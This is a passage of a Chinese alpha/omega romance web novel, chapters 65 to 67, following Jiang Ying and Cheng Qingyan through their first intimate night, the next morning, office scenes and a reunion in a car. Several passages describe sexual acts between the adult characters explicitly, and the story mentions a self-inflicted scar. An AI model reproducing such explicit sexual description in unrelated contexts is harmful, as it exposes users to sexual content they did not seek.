因为alpha在说话时,挺秀的鼻尖蹭了上去,慢慢的,呼吸全落在了她亲手挑选的礼物上,女人隔着这层礼物,清晰地感受着她,感受着她曾经用指腹触碰过无数次的鼻梁,嘴唇。 礼物遇水颜色一点点变深,在女人的允许下,alpha作为礼物的赠送着,亲手拆开了这份礼物,将礼物放在一旁,吻了上去。 姜映听见了她那晚在电话里听见的断断续续的呼吸声,她心心念念,她很喜欢的呼吸声原来是这样发出来的。 可比起她的喜欢,让她更满足的事情是女人会因为她的举动而感到快乐。 程卿言的开心——是她欲望的根源。 先是隔着礼物吻,程卿言对此不满,湿漉漉的让她不舒服,这才指挥着alpha丢掉礼物,毫无阻隔地吻她。 alpha很温柔,贴心,中途要抬头问她的感受,她不想说话,也没力气说话,直接按着她的后颈将她按着回去。 某一瞬间,脑内一片空白,她知道她发生了什么,腰腹颤动,恍惚地瞧见alpha向来青涩干净的脸此刻满是她的痕迹,还一脸无辜地舔着嘴唇看着她时,程卿言受不了,难得的羞耻感涌上心头,红了耳朵,直接闭上了眼睛。 她很累,感冒本来就还没恢复,只是进行了短短的一会儿,只是在外面碰了碰,停下来时她已经很累了,在闭上眼睛那瞬间就有了困了,入睡前她能感觉到女生又在轻轻吻那道疤痕,又在哭。 程卿言在女生充满怜惜的亲吻中睡着了。 醒来坏家伙不见了,底裤也没她穿,不会是逃了吧。 程卿言拿起手机发了消息,不到五秒钟,卧室门被推开了,姜映满脸通红地走了进来,紧张地捏着手腕上的红绳,羞涩地看着她,她没有说话,女生的脸越来越红。 这幅扭捏不好意是地模样,和做“坏”事是简直判若两人。 程卿言忽然觉得她很有意思,害羞,但是敢,并且会,如果不是她叫她阻止,可能什么话都敢问敢说。 她可清晰地记得在她到的那一秒,她听见她说了一句“好多啊”。 并且是以惊讶感慨且羞涩的声音说出来的。 程卿言哼了一声,看着她幽幽道:“过来。” 姜映红着脸走到她身旁,羞涩地出声:“姐姐你醒了。” 程卿言似笑非笑看着她,开口道。 “这会儿知道害羞了?” “不是你先吻的我?” “不是你亲手给我脱的?” 虽然这些都是经过她允许的,但她就是要问,谁让坏东西那会儿也没给她面子,她很记仇。 alpha在她触及灵魂的三连问下,羞得无地自容,整个人都快冒烟了,低头低头再低头,低下去之后没隔几秒,自己又抬起头,重新看向女人,羞涩归羞涩,她主动关心道:“你有没有不舒服?” 程卿言挑眉:“你是问哪?” “头还晕不晕,”姜映咬了下唇,片刻后又看了眼女人被子遮掩下的腰腹一下的部位,“那里有没有不舒服?” 坏东西。 这是在问她事后感受? 未免将自己想得太厉害了。 回味片刻,凭良心说,她没有任何不适,反而很舒服,alpha的唇舌炽热柔软,温柔灵活,给她的体验感很好。 但这些细腻的感受程卿言不会此刻告诉她,只是说了句没事,而后好奇地问道:“你为什么会这些,私下学过?” 女生无需她教,虽然羞涩不已,但一点也不生疏,根本不像第一次做这种事。 “没有学过。”姜映颤了颤眼睫,如实回复。 程卿言拧了下眉心:“对别人做过这种事?” 姜映怕她误会,有些慌张,立马解释道:“没有和别人这样过,我也不知道我为什么会,我吻上去的时候,就感觉那里很熟悉,我好像和它很熟,它也和我很熟,有一种归属感,我…唔…” 话音中断,程卿言听得耳朵发热,掌心直接捂住了她的嘴,说的都是些什么混账话,很熟,归属感? 怎么用顶着一张青涩单纯的脸,说出这样的话,可女生的眼眸是干净的,语气也没有任何调侃之意。 程卿言对她不仅凶不起来,甚至有股暖意在心口流淌着,她轻呼了一口气,捏了捏alpha的耳朵:“知道了。” 这坏东西,有一本正经说情话的本事,她对此很受用,但她还没适应,出其不意突然来这么几句,搞得她也有些害羞了。 姜映颤睫,朝着她笑了一下。 如果知道女人心中所想,她会解释她不是在说情话,她说的是事实,她对女人做的那些事,真的就像本能一样,熟悉,归属,有种久别多年,重新回到家的感觉。 她也不知道她为什么会这些,没有提前学习思考过,嘴唇上触碰上去时,自然而然地知道怎么吻,吻哪,用何种力道吻,会让女人快乐。 她会熟练地操作,但她的思想是单纯的,她对性的认知目前还跟不上她的操作能力。 在女人到的那一会儿,淋在她脸上时,她大概能猜测到那是女人快乐的体现,但她的惊讶也是真的,惊讶居然能有这么多,才下意识地说了出来,并且尝了尝,她不是在调侃女人,只是对此觉得新奇。 程卿言看着姜映的眼尾,已经过了好一阵了,居然还是红的,眼眶也有些肿,到底留了多少眼泪。 在她睡着后,应该还在哭。 心瞬间变得很软,指腹轻轻抚了抚她的眼尾,柔声道:“姜映。” 姜映眨眼:“嗯?” 女人嘴唇靠近她的耳朵,不吝啬地夸奖道:“很棒,你让我很舒服,我很喜欢,做得不错。” 姜映因为她的夸奖,脸又红了起来,既开心又羞涩,脑子热热的不太能思考,回了一句:“你也很棒,我也很舒服,很喜欢。” 程卿言:…… 在女生的夸奖下,耳边回荡着那句“好多啊”。 她才不要她夸她,嗔了她一眼,在她脸上掐了一下。 “我睡着了,你为什么不陪着我,跑去客厅做什么?” 姜映有些抱歉道,“我陪了一会儿的,但是工作群里有人给我发消息,还打电话过来了,我担心吵到你,就去客厅了。” 程卿言:“很忙吗?” 姜映说:“有一点点,但是还好。” 那就是很忙,程卿言在心里下了定论,她一直知道女生学习任务中,寒假也不能休息,又去了研究院实习,两三天不见,好像都累瘦了。 “你饿没,我熬了小米粥,”姜映看着她,耐心劝说道,“如果没有饿,也可以吃一点,然后再喝包药睡一觉,明天身体就能康复了。” 像哄小孩一样,哄着她吃点粥。 程卿言嘴角轻轻扬了扬:“吃点吧。” 姜映笑着:“我给你端进来,还是去餐厅吃?” 程卿言也躺了很久了,想起来活动一会儿:“我去餐厅。” 姜映嗯了一声,都听她的,她等会儿几秒,见女人依旧坐着,不仅没有要起床的举动,还用幽怨的目光看着她。 她困惑道:“怎么了?” 程卿言似笑非笑:“我能问你一个问题吗?” 姜映点头:“你说。” “底裤给我脱了,为什么不给我穿,嗯?”程卿言在她耳边道,“想让我一直光着?” 姜映脸红,解释道:“不,不是的,我忘记了。” 女人指尖缠绕着她的发尾,轻轻扯了扯::“忘了?你不是记性很好吗,故意的?” 姜映有些着急:“真的忘了,不是故意的。” 女人睡着那会儿,她还在心疼地吻那道疤痕,吻了一会儿后又拿纸巾给女人认真清理了,可是她依然很难受,那道疤痕深深地刺痛了她。 女人说是十来年前自己亲手划的,什么事情会让她这样对待自己,和信息素紊乱有关吗? 那段日子对方过得肯定很艰难,可是她什么也做不了,她只能看着这道疤痕存在于女人腿上,心里闷闷地堵得慌,满眼心疼,眼泪无声地流出来。 哭了好一会儿,脑子缺氧,就忘了给女人穿底裤的事了。 真的不是故意的啊? 还以为是故意的呢,程卿言颤了颤眼睫,她发现她居然有点惋惜,坏东西还是太乖了。 “你去柜子里给我拿一条。” 姜映点头,走到衣帽间,拉开专门放内衣裤的衣柜,傻了眼。 好多啊。 都能开内衣店了。 “姐姐你要穿哪一条?” 程卿言拿着手机回复工作消息,听见女生在问她,回应道:“随你,挑一条你喜欢的。” 几十秒后,女生走了回来,她放下手机,抬眸看了眼她的脸,又看了看alpha给她挑选的款式,轻轻挑了挑眉。 她的衣帽间很大,其中有很多内衣裤,她喜欢的品牌每次出了新款,都会主动联系她,给她送过来,因此风格很多变。 姜映给她挑的是一条粉白色,偏素雅的款式。 她还有这种朴素的款? 程卿言道:“给我穿上。” 姜映眼睫颤动,嗯了一声,给女人穿的时候,耳根通红,指尖微微颤动着,眼睛不敢乱看。 程卿言有点无语地笑了一声,又不是没看过,亲也亲了,怎么还这副模样,缓缓道:“你不是说你和它很熟悉吗,你在害羞什么?” 姜映大红脸,小声道:“这,这不一样……” 女人打趣:“哪不一样?” “就是不一样。”姜映呼口气,说不出个所以然。 程卿言起身站起来,指腹抚了抚她薄薄的嘴唇:“看来还是不怎么熟,以后得多见见,多和它亲密接触,就熟悉了。” 姜映脸红得确实快熟了,浑身热乎乎的,下了床她只有被逗弄的份,根本招架不住,不知道怎么接话。 程卿言玩得很开心,轻笑几声,迈着步子出了卧室。 姜映慢了一步,眼尾红红的跟在她身后,听着女人的笑声,嘴角也扬了起来。 真好。 她的笑声真好听。 和她断断续续的呼吸声一样好听,她都很喜欢。 姜映眸光荡漾,对此很满足。 程卿言胃口不是很好,吃了半碗蔬菜小米粥,剩下的都给姜映吃了。 拉面丸子见到主人,开心地从狗窝里蹦哒出来,对着她撒娇卖萌:主人也要陪小狗玩,不能偏心,只陪捂脸跑玩 程卿言这会儿眼里只有捂脸跑,懒得理小狗,问道:“ 你放它们进来的?” 姜映点头:“我出来熬粥的时候听见它们在门口叫,就开门让它们进来了。” 程卿言问:“怎么叫的?” 姜映回忆片刻,模仿:“汪汪汪。” 程卿言嘴角上扬,摸摸她的下巴:“真乖。” 夸她,还是夸小狗? 她是不是上当了,女人就是想听她学狗叫。 姜映眨了眨眼,和女人对视着。 拉面丸子:??? 这世道怎么了,狗叫几声都会被夸吗? 羡慕地看着姜映。 它们每天都这样叫,主人何时用这种眼神看过它们,何时用这种语气夸过它们。 捂脸跑命真好。 小狗嫉妒了,见没人理它们,起身回了狗窝时,故意走到姜映身旁,大尾巴啪啪地拍了拍姜映的腿。 有点疼。 姜映眉心颤了颤,呼了口气。 吃的简单,很快就收拾好了碗筷,从厨房出去时,正好瞧见程卿言在吃药。 除了感冒药,还有那颗与信息素紊乱症有关的白色药丸。 姜映心口有些难受,那种疼疼的感觉又出现了,深深呼了一口气,待缓过来时才走过去,乖乖地坐在她身边。 程卿言逗了会儿她,有些累了,简单洗漱过后,牵着她回了卧室。 姜映温柔问道:“要休息了吗?” 程卿言嗯了一声,她明天还得去公司,即使躺下睡不着,也得躺着养养神。 姜映给她盖好被子:“你睡吧,我守着你。” 程卿言:“你不休息?” 这会儿已经凌晨,她知道姜映精力好,但也为她忙活好一阵了,也该累了。 姜映:“我还不困。” 程卿言说:“你上来陪着我。” 姜映应好,她在进卧室前已经洗漱了,此刻身上穿着女人的睡袍,躺好后,女人主动的往她怀里移,拉起她的手放在腰上,是让她抱的意思。 程卿言闻着她的味道,在她怀里躺了一会儿,片刻后睁开眼道:“我睡不着,你得想法子哄哄我。” 女生还欠她一次哄睡,她还记着的。 姜映也记得,可是她没有哄别人睡觉的经验,认真思索一番,道:“我给你念英语听力行吗?” 她在学校经常听人说,上英语听力课或是数学课,很容易入睡,而且会睡得很香。 英语听力? 程卿言嗔了她一眼,有点无语地笑了一声:“那你试试。” 女生开口,发音标准,声音清润,听起来很舒服,程卿言很满意,但越听越清醒,一点睡意都没有。 几分钟后,姜映停了下来,也意识到了哄睡的法子不对,主动请教女人应该怎么哄。 程卿言嘴角扬着:“求求我。” 姜映:“求求你了姐姐。” 程卿言双手勾住她脖子,凑到她耳边吐息道:“还记得你方才是怎么让我睡着的吗,再做一点让我开心的事……” 作者有话说: 喝到橙汁了,以后的食谱:姜撞奶,手打橙汁,樱桃盛宴…… 晚安,明天见《 》 65-70 第66章 黏人 黏人 第六十六章 方才她是怎么让女人睡着的? 姜映没有忘记,记忆回溯,红了脸颊。 她那会儿会如此大胆,敢主动吻上女人腿根处的疤痕,不是因为欲望的驱使,而是心疼与怜爱。 而后的事,在女人的允许下,水到渠成地发生了。 她的感受是次要的,做那些事的初衷也不是为了满足自己,她是想让程卿言开心,能够获得快乐。 用快乐覆盖疤痕之前给女人的疼痛。 可是这会儿,姜映的情绪已经稳定下来,让她再对女人做一次那事,不是不可以,只要女人想,她都可以的,但有点难为情。 姜映颤着眼睫,羞涩地确认道:“真的要吗?” 女人感冒还没好,身体也比较虚弱,如果再来一次,会不会累到她。 程卿言脸颊蹭着她的脖子,反问:“你不喜欢吗?” “喜欢……” 姜映当然喜欢,她喜欢和她接触,她给女人带来快乐时她也能获得无穷无尽的满足。 女人断断续续的呼吸声她喜欢,女人身体的起伏与颤动她也喜欢。 那会儿如果不是女人已经舒服了,困得要睡觉了,其实她不想停下来,想再吻一吻,她喜欢吻女人那里。 她想让她获得更多的快乐。 她也不知道为什么会这么喜欢,alpha此刻还没意识到她属于开始前会害羞,一旦开始就不想停下来那种类型,颤动的眼眸里闪烁着求知的茫然。 听了她的回答,程卿言笑了一声,在她脖子上吻了一下,捏着女生的掌心说:“逗你的,不做那种事了,你和我聊聊天,我的心情也会很好。” 不是不想做,而是她有点吃不消,今夜也挺晚了,体力有限,等她感冒好了再来也不迟。 她只是在想,姜映除了方才那些简单的把戏,还会不会别的。 程卿言忽然意识到在这方面,她对姜映的开发应该还很浅,说不准日后会收获意外惊喜。 姜映嗯了一声,都听她的。 程卿言问:“你明天早上几点走?” 姜映说:“六点左右。” 六点离开,五点半这些就得起床 “这么早吗?”程卿言有些舍不得,那会儿她还在睡,等她醒来坏东西又不在她身边了,捏了捏女生的腰,闭着眼睛娇娇柔柔道,“不想你走。” 姜映的心快融化了,软得不像话:“那我请假。” 程卿言:“能请吗,你的工作应该不能随便请假。” 的确不能随便请假,研究院的事情很多,今夜的时间已经耽搁了,若是不提前过去补上,会因为她个人的行为,影响大家的进度。 姜映认真地思索了一会儿,做了决定:“我可以辞职。” 把位置让出来,让合适的人进去,这样就行了。 程卿言以为她在开玩笑:“真的?” 姜映肯定道:“嗯,我明天就去提交申请。” 语气坚定,没有任何开玩笑的意思。 程卿言眉心一颤,睁开眼睛坐了起来,将卧室内里的夜灯打开,认真地看着她的脸。 姜映跟着坐起来:“怎么了?” “你认真的吗,因为我想让你陪着我睡觉,因为我想在醒来时看见你,就要离开研究院?” 程卿言谈起正事来语气很正经,若不是和她对话的人是姜映,她刻意敛了敛气场,其实会有点吓人。 姜映点头:“不可以吗?” 女人的工作很忙,她若是留在研究院,整个寒假都会比较忙,休息的时间很少,她们见面的时间也会很少。 如果她辞职了,就能空闲下来,配合女人上班的作息,能陪着她,还能照顾她的身体。 她想待在她身旁,想陪着她。 程卿言道:“不可以。” 姜映困惑:“为什么?” 程卿言摸了摸她的脸:“就是不可以,我不同意。” 她怎么可能会允许姜映因为她的一点小小的需求,而离开研究院。 姜映前段时间为研究院实习的事情做了多少准备,付出了多少努力,她都看在眼里,而且才进去几天就离开,对姜映未来在行业的诚信度也有一定影响。 程卿言不是二十岁的年纪,眼里不只有情爱,撒娇归撒娇,抱怨归抱怨,她在这些事情上很理智。 姜映有自己的热爱,有自己的梦想,得努力去追逐,她也欣赏有梦想,并且为之奋斗的人。 为了她放弃自己的生活,这像话吗,她喜欢她,自然希望她好,不会成为她进步的阻碍。 她不屑这样的喜欢。 如果让她为了姜映,放弃她奋斗多年的事业,她觉得她做不到,她只会想办法让二则兼得。 姜映还想争取:“可是……” 程卿言打断:“好了,不许再提这种事了,我不喜欢。” 姜映抿了抿唇,不想听她的话,秀气的眉毛轻轻皱了皱。 这模样…… 是生气了? 程卿言笑了一声,双手勾着女生的脖子,凑过去蹭了蹭她的耳朵,再轻轻咬了咬。 女生的耳朵很敏感,瞬间红得发颤,她吻着她的耳垂:“以后日子还长,不急在这一时,等你实习结束,等我忙过这段时间,会有很多时间见面,知道了吗……” 姜映的耳朵要掉了,头皮发麻,哪里顶得住这样的成熟姐姐,松开抿着的唇,嗯了一声,退让道:“我知道了。” “真乖。” 程卿言关掉灯,拉着她一起躺下,闭上眼睛:“你继续给我念听力。” 姜映眨了下眼:“不是没用吗?” “想听。”程卿言来了点困意,想睡觉,她想听女生的声音入睡,说什么无所谓,听力是个不错的选择。 姜映清了清嗓子,缓缓念了起来。 很快,她便听见了均匀的呼吸声,她停了下来,眸光温柔地看着怀里已经睡着的女人。 眼睛一眨不眨,一直看着她。 姜映调整着呼吸,和她同步,呼吸交错在一起,不分彼此。 可是她心里知道,她们的呼吸频率其实是不一样的,此刻的重合是她刻意为之的结果,如果她睡着了,呼吸就会错开,重合的线便会分开。 深夜安静,任何情绪都容易被放大,被注意到。 姜映脑子里浮现出女人吃那颗白色药丸时的神情,没有任何波动,仿佛真的是在吃保养品。 可她知道不是的,女人吃的是和信息素紊乱有关的药物。 信息素紊乱,她能为她做些什么? 姜映发现她什么也做不了,她连omega需要的信息素都没有,她给不了她任何帮助。 很无力,忽然厌恶起了自己的信息素无能,胸口闷闷的。 姜映暗自呼了一口气,她在想她要不要坦白她拿了女人的药去检验成分,并且知道她信息素紊乱的事。 要说吗? 隐瞒是不好的行为。 可她觉得女人应该不希望任何人知道这件事。 网上有很多关于程卿言的绯闻八卦,但没有一条与信息素紊乱有关,那么重要的事情,除非是花了心思刻意隐藏,不然不可能什么消息也没传出来,还有那日在她面前销毁药丸的举动,以及给她的解释,很明显女人的防备很严,不希望外界知道,也不希望她知道。 别人若是知道了,应该会给女人带来很多麻烦。 女人如果知道她知道了这件事,会不会给女人带来困扰,加重女人的心理负担,她是不是该当做不知道这件事。 犹豫片刻,姜映慎重地打算先观察一阵儿,再做决定。 若不是程卿言不答应,她肯定会放弃实习,她知道她这个举动会给她带来什么不好的影响,她也知道她这种行为很冲动。 她向来冷静,很少有冲动的时候。 这一次的冲动和她高考填志愿那年,不听所有人的劝说,放弃对她而言更好的东大,坚定地选择来碚大的冲动很相似。 当时她不知道她为什么出现偏偏要来碚城的冲动,只是有着强烈的直觉,得去碚城,如果不去,她觉得她未来一定会后悔。 现在呢? 她想放弃研究院实习的冲动是因为什么而产生的,姜映眸光颤动,听着女人均匀的呼吸,看着女人模糊的面容,她隐隐知道原因。 姜映感觉她有点害怕,害怕程卿言会因为信息素紊乱而出现意外,即使她在坐车来月泊林的路上,分析出了那么多正向有利的条件,理智告诉她情况不会很糟糕,她依旧无法控制她的情感,她还是会担心。 所以她想待在她身边,她甚至有种冲动的想法,女人去哪,她就跟着去哪。 但这是不现实的,程卿言不会答应,也不会允许。 怀里的人轻轻动了动,姜映回神,没有再沉浸于低落的思绪中,她呼了口气,下意识将女人抱得更紧一些。 这一夜姜映都比较清醒,只睡了一个多小时,五点半那会儿,她轻手轻脚地起床,没有开灯,动静很小,女人还是醒了,拉住她的手,迷迷糊糊道:“要走了吗……” 姜映嗯了一声,温和地哄着:“还很早,你继续睡。” 程卿言不是被她吵醒的,只是身边忽然少了人,心里也惦记着,自己就醒了,脑子还不清楚,眼睛都没睁开,声音有些哑哑的:“抱一抱再走。” 姜映附身抱了她一会儿,就这一会儿,她想结束实习,不再去研究院的念头再一次冒出来,眼睫颤动着:“姐姐……” 程卿言快睡着了,脸颊在她脖子上蹭了蹭:“可以了,路上注意安全,到了给我发消息。” 姜映应好,不舍地松开她,贴心地给她盖好被子,去了主卧外面的浴室洗漱,十五分钟后,开门走了出去。 拉面丸子躺在狗窝看着她的背影,狗心感慨:啊,天都没亮,捂脸跑就出门打猎了,好勤快。 小狗做不到,难怪主人更喜欢捂脸跑。 六点出头,天色漆黑,寒风凛冽。 碚城的地铁已经在运行了,人不是很多,大部分都是睡眼惺忪为生活奔波的年轻人,姜映找了个空位子坐下,揉了揉脸颊,拿出手机开始处理事情。 早点完成今天的任务,就能早点去找女人。 * 七点半。 晨光熹微,太阳缓缓升起,几缕阳光从没关掩实的窗帘外探了进来,落在了床单上。 程卿言指尖动了动,缓缓睁开眼,静静躺着醒了会神,待意识清醒后,翻身看向声旁的位子。 空着的枕头上睡出来的褶皱,还有几根与她发色不一样的发丝覆在上面,程卿言嘴角扬了一下。 嗯。 能确定昨晚不是梦了。 睡眠充足,感冒的症状也消失了,精神不错,程卿言洗漱好后,走出来卧室,接温水润喉时瞧见了姜映贴在桌面上的便利贴。 字如其人,青隽流畅。 姜映:姐姐你起床之后记得量一次体温,吃了饭再吃一顿药,我熬了新鲜的粥放在厨房,你可以吃一点点,如果凉了,你记得加热一些 程卿言笑了一声,这人还在便利贴上详细写了她家微波炉的使用方法。 她这么大了,又不是小孩,难道还不会用微波炉吗。 程卿言去厨房盛了一碗粥,没有凉透,还有些余温,打算加热时愣了几秒,眉心轻轻拧了拧,家里的微波炉长什么样,放在哪个位子的? 不知道。 平时她不进厨房,也不会做饭,都是阿姨过来做的,昨晚睡前她给阿姨发了消息,让她今早不用过来给她做饭,阿姨就住在隔壁栋,打电话过去问了问微波炉在哪个地方。 很快阿姨急忙跑过来了,一副她晚了一步,她就会炸掉厨房的着急模样:“我来吧。” 大家这么不信任她吗? 程卿言挑了挑眉,不过她确实不喜欢动手干活,将碗递过去:“谢谢。” 饭后吃了药,她换好衣服,出门前陪着拉面丸子玩了几分钟,恰好瞥见了洗衣房里晾晒着她昨晚穿的那条底裤。 双手环胸,轻轻笑了一声,姜映真勤快,她有些想知道,女生在给她细底裤时是什么心情。 不过她不准备这会儿问,她知道姜映挺忙的,她也挺忙的,片刻后坐车去了公司。 秦助理开着车,即使老板没怪她,说要给她加工资,作为有着优秀职业素养的助理,她再一次真实地描述了昨晚遇见姜映的场景。 程卿言听着,指尖轻轻点着膝盖,确认道:“她守在小区门口那会儿很,看起来很难过?” 秦助理点头:“孤零零的,有一种明明坐在路灯下,但光照不进她眼睛里感觉,眼睛里有很多愁绪和无奈。” 愁绪和无奈? 姜映在为什么而忧愁? 程卿言昨晚问了对方为什么突然过来找她,对方说想她,想见她,就直接过来了。 对于女生的回答,她没有任何疑虑,她能明显地感觉到女生对她的想念是真实的。 因为想她,突然过来找她,也说得过去。 除此之外,还有别的原因吗? 程卿言沉思着,指腹隔着西装裤不由自主按了按腿上的那道疤痕,那里的肌肤依旧记得女生的眼泪落上去时的炽热。 为她流泪,她能理解,但无声地留了这么多泪水…… 而且还因为她小小的需求,就决定离开研究院,这些举动是不是有点反常了。 程卿言呼了口气,目前想不出来别的原因,近期她和姜映之间没发生任何特别的事情,应该是她想多了。 说不准坏家伙就是开窍了,懂得比之前更加直白地表达喜欢之意,她一时间有些不适应。 程卿言没再多想,心情不错地走进了公司,坐电梯上楼,开会之前何助拿着整理好的文件过来找她,汇报了云县那边的进度。 “你额头上的伤是怎么回事?”程卿言的目光落在她额头的纱布上,昨天下午她见着她时都还是好好的。 何助愣了两秒,解释道:“昨晚不小心在家里嗑着了。” 程卿言关心下属:“去医院看过了没,下午你可以休半天假。” “不用了程总,这点小伤没事的。”何助道。 程卿言点头,也没勉强她,让她自己拿分寸,细细看了一遍文件,起身去了会议室。 依旧是讨论科技园项目的事,项目难度大,牵扯到的事情很多,得投入很多精力。 好消息是云县那边拆迁的事进行得比较顺利,之前谈不下来的住户已经软下来了,态度不再坚定强硬,按照目前的趋势,半个月之内能彻底解决这件事情。 一个半小时后会议结束。 程卿言回了办公室处理好工作,临近中午她去休息室换了衣服,和余简予一起坐车离开了公司,有一场商业聚会需要她们出席。 从公司出发,得坐车四十多分钟的车。 余简予回复了下属的工作消息,放下手机,累得呼了口气,片刻后问道:“你感冒好点了没?” “好的差不多了。”程卿言如实说。 余简予看了看她的脸色,确实感觉比前两天好上很多,想了想道:“你的事如果太多,感觉吃不消,就分一些给我,我去处理。” 程卿言笑了一声:“你也不闲,还能抽出时间来帮我?” 余简予哎呀一声:“我没开玩笑,我说真的。” 再忙再累,她也是身体健康,没有任何毛病的人,熬夜加班对她伤害不大,睡几觉就能恢复。 程卿言点头:“知道了,需要你分担的时候,我会说的。” 她有体能药,正常服用,目前的工作强度对她来说,还能吃得消。 孙影的话她记在心里的,她不会不把自己的身体当回事 余简予知道她的性子,嗯了一声:“对了,再过几天就是秋染的生日了,你想好送她什么礼物了没?” 程卿言说:“想好了。” 余简予打算参考:“送什么?” 程卿言:“亲手做个生日蛋糕给她。” 余简予以为自己听错了:“你做蛋糕?” “不可以吗?”程卿言道。 余简予震惊:“她最近哪得罪你了,你要毒害她?” 程卿言微笑:…… “你是不是羡慕了,我也可以做个蛋糕送给你。” 余简予连忙拒绝:“不了不了,我不爱吃蛋糕,最讨厌吃蛋糕了,我不要。” 程卿言呵笑一声。 余简予再次确定:“你真做蛋糕给她啊?” “让糕点师傅教,我在上面挤点奶油,写些祝福语就行了,”程卿言细说她的想法,“放心,不会毒到你们。” 她有自知之明,怎么会完全自己动手做,自己做的暂且不谈送给别人,她自己都不敢吃。 她们和云秋染也认识好些年了,关系比较好,都知晓彼此在物质上什么也不缺,对于生日礼物其实不是很看重,约着吃顿饭,或者送点小玩意,反而比价格昂贵的奢侈品更有意义。 今年云秋染要筹备生日见面会的事,她们也忙,近期不一定有恰当的时间能约在一起见面吃饭,这会儿才会谈论一下送什么礼物。 余简予道:“既然你做蛋糕,那我给她做一只烤鸭,到时候让人送过去。” 程卿言:“你会做烤鸭?” 余简予:“不会啊。” “那你怎么做?” “你不也不会做蛋糕嘛,还不是要做。” 云秋染的生日在下周一,见面会在周天举行,还有几天的时间,余简予动手能力还可以,平时也会做做饭,在网上找个做烤鸭的教程学一学就行了,她又不是程卿言,对做饭一窍不通。 “到时候你来找我,我们一起做呗” 程卿言想了想:“不了,我想在家做。” 余简予说:“你家又没烘焙的工具。” 程卿言:“我可以买。” “可是我家里现成的,你干嘛要买。”余简予想约她一起,她还没见过她做蛋糕,肯定有乐子看。 程卿言再次拒绝:“我钱多,花不完。” 余简予:…… 她无法反驳。 “你为什么不想和我一起,到时候我还能搭把手帮帮你。” “不用了,就这样决定了,”程卿言笑着道,“你做你的,我做我的,我们分开做。” 她才不和余简予一起,她要约姜映。 糕点师傅她也不要了,姜映动手能力强,厨艺也好,她准备让对方亲手教她。 程卿言脑子里正想着女生,女生恰好在此刻给她发来了消息,嘴角不由自主扬起。 姜映:【姐姐你今天晚上什么时候下班?】 程卿言:【这会儿还不清楚,怎么了?】 姜映:【想来找你】 天天都要见她啊,小姑娘原来这么黏人。 程卿言笑了一声:【今晚可能见不了,下班之后我得回老宅看长辈,晚上应该会留在那边】 程老太太已经发消息通知了大家,在碚城的晚辈都得回老宅吃饭。 姜映:【好吧】 程卿言:【不开心了?】 姜映:【没有】 这么乖吗,程卿言挑了挑眉,问道:【你今晚几点下班?】 姜映:【六点那会儿】 程卿言:【不加班?】 姜映给她报备:【要的,六点到七点是吃饭的时间,吃了晚饭我就回工位】 那刚才还说晚上要来找她,她如果答应了,就丢下工作来找她? 已经喜欢她到了这种程度了。 程卿言嘴角扬了扬:【知道了】 即将到达目的地,她也得忙了,没再多聊,放下手机,抬头就对上了余简予打趣的目光,她大方道:“你没想错,我在和姜映聊天,很开心,感觉特别好,她很喜欢我,天天都想来见我,黏人,可爱……” 还没开始问的余简予:??? 插不进去话的余简予:…… 不是,程卿言礼貌吗,谁问她这些了,她想立马叫停,可她见着她说起这些时自然放松的模样,心里也跟着暖了起来,由衷为她感到开心。 余简予安安静静地听着她炫耀,待她说完后,才调侃一句:“姜映人不错,可惜年纪轻轻就不行了。” 程卿言愣了一下,脑子里闪过昨夜的画面,其实还是挺行的,弄得她很舒服。 咳。 但这事暂时就不和余简予讲了,毕竟她也没做全,等她全部体验过了,再炫耀也不迟。 * 傍晚。 六点零八分。 奔驰停在路边,程卿言坐在车里看着研究院的正大门。 她是临时决定过来的,程家老宅和姜映实习的地方恰好在一个方向,顺路就让秦助理开车过来了,还没告诉姜映。 拿出电话正要拨通,她想念的身影恰好出现在正大门,程卿言眸光颤动,轻轻笑了一声,按了拨通。 她能看见女生拿出手机的动作,不过距离隔得有点远,可惜不能看见女生的神情,但她下一瞬便听见女生欣喜的声音:“姐姐。” 程卿言嘴角扬着,嗯了一声:“想我了没?” 姜映:“想。” 程卿言:“想见我吗?” 姜映:“你不回老宅了吗?” 程卿言:“你转身,过来见我。” 作者有话说: 想象:以后炫耀 事实:以后做到没力气炫耀 晚安,明天见 第67章 陪我 陪我 第六十七章 “你转身,过来见我。” 话音落下,程卿言主动挂了电话。 今天没开卡宴,卡宴送去保养了,开了一辆姜映没见过的奔驰。 程卿言对车没有太多的追求,只要坐着舒适就行,此刻这辆奔驰价格不贵,一百多万,颜色和款式都很低调。 在碚城这种发达城市中,马路上到处都是豪车,因此奔驰混在其中并不显眼。 可姜映在转身那一瞬,眸光直接锁定了她的车,程卿言对此有些惊讶,眼眸含笑,看着径直朝着她小跑过来的alpha。 由远及近,女生的面容越来越清晰,她能瞧见女生惊喜的神情,以及微微扬着的嘴角。 对方因为她的突然出现而感到开心,程卿言敢肯定。 很快,车门被拉开,姜映坐了进来,秦助理识趣下车出去。 车门关上,狭小的车里只有她们两人,熟悉的青竹香氛絮绕鼻间。 姜映的脸有些红,眼睛很亮:“姐姐。” 程卿言摸了摸她被冷风吹红了的挺秀鼻梁,摸上去冰冰凉,不由得想起了昨晚,对方用着鼻子蹭着她那会儿,深深浅浅,蹭得她很舒服。 高挺的鼻梁不仅好看,还很好用…… 女人眸光颤动,呼吸微微重了一些,只是回想,腿间好像就有了热意。 “姐姐?”姜映见女人没理她,一直在捏她的鼻梁,又叫了一声。 程卿言回神,呼了口气,将那些旖旎的想法压下去,问道:“吃晚饭了没?” “还没有,”姜映看着她,“你呢,你吃了吗?” 程卿言:“我过会儿回老宅吃。” 原来还要回老宅,姜映以为她改变行程了,眨了眨眼道:“那你怎么还来找我?” 程卿言说:“顺路,都在一个方向。” 姜映哦了一声:“这样啊。” “不然你以为呢?”程卿言捏住她的掌心。 姜映颤睫:“我以为……” “以为什么?”程卿言让她说出来。 姜映脸红,有点不好意思地说:“你想我了……” 程卿言笑了一声,靠近她耳边,用着蛊惑人心的声音道:“顺路是借口,顺不顺都会来,我就是想你了。” 姜映耳垂又烫又红,害羞地嗯了一声。 由于她的耳朵太烫,程卿言挨着她时颤了一下,幽幽看了她一眼。 这坏东西怎么还没适应,又在害羞了,昨晚不是挺大胆的吗。 之前还说什么肌肤裸露羞耻症,就是在胡扯,给她脱的时候,可没见她有丝毫犹豫,又含又吮的时候,可没见她不好意思下嘴。 言语上羞耻,行为上大胆? 姜映羞涩归羞涩,小声回了一句:“我也想你了。” 那是当然,女生不说她都知道。 程卿言嘴角扬着,故意问道:“想昨晚了没?” 姜映指尖一颤,心跳快了好几拍,非常难为情,羞于和女人直视,很小声地嗯了一声。 “想了多少次?”女人继续问。 数不清,很多次。 